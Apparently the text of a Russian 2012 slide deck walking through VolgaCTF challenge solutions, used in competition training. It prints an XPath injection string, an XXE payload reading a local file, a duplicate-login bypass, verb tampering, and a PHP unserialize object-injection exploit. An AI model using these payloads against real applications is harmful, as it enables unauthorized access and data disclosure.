13
Разбор заданий «VolgaCTF» Сергей Бобров Август, 2012 г.

VolgaCTF 2012 разбор заданий

Embed Size (px)

Citation preview

Page 1: VolgaCTF 2012 разбор заданий

Разбор заданий «VolgaCTF»

Сергей Бобров

Август, 2012 г.

Page 2: VolgaCTF 2012 разбор заданий

Задания

Финал

• Сервис «Карта Сокровищ» [Python/Django]

Отборочные

• Web100 [XSS/Bot]

• Web200 [Authentication Bypass]

• Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize

Tricks]

• Stegano200 [WAV-file]

Page 3: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»

Page 4: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Отображение всех флагов в xml, предоставляющей данные

для визуализации

Page 5: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Внедрение операторов XPath

treasure = treasure_xml.xpath('/treasures/treasure

[id = \'%s\' and owner=\'%s\']' %

(id, request.session['user'].name))

Эксплуатация

/treasure/view/?id=<id>' or '1'='1

Username = ' or id= '<id>

Page 6: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Регистрация пользователей с одинаковым логином

• При регистрации не проверялось наличие такого пользователя

• При проверке прав использовался только логин пользователя

Эксплуатация

• Смотрим имя последнего пользователя с флагом

• Регистрируемся с данными Login: <login>, Password: 1

• ???

• PROFIT!

Page 7: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Внедрение внешних сущностей XML (XXE Attack)

• При добавлении флага на стороне клиента формировалась XML

• На сервере XML-парсеры поддерживали XML eXternal Entity

Эксплуатация

<!DOCTYPE x [

<!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">

]>

<treasure><name>x</name>

<treasureData>&xxe;</treasureData>

<x>5</x><y>5</y></treasure>

Page 8: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB100

Page 9: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB200

/robots.txt

Disallow: /_31337_4dm1np4g3

/_31337_4dm1np4g3

if($password != ‘xxx’) {

header(‘Location: index.php?error’)

}

Page 10: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB500

Verb Tampering

.htaccess

<Limit GET>

require valid-user

</Limit>

Файлы бэкапа

Обфускация

Битовыми операциями формируются слова «chr» и цифры 0-9.

Далее формируется строка

a.s.s.e.r.t(c.o.d.e)

Где каждая буква представляет собой c.h.r(0.1.2)

Page 11: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB500

Unserialize Tricks // bit.ly/nWyefG

Примерный вид эксплоита:

auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4:

"name";O:7:"Textbox":1:{s:12:"\0Textbox\0obj";C:6:"Object":86:{

O:4:"User":2:{s:11:"\0User\0login";O:4:"Flag":0:{}s:14:"\0User\0p

assword";s:8:"getFlags";}}}}

Page 12: VolgaCTF 2012 разбор заданий

Отборочные: Задание Stegano200

Page 13: VolgaCTF 2012 разбор заданий

Спасибо за внимание! [email protected]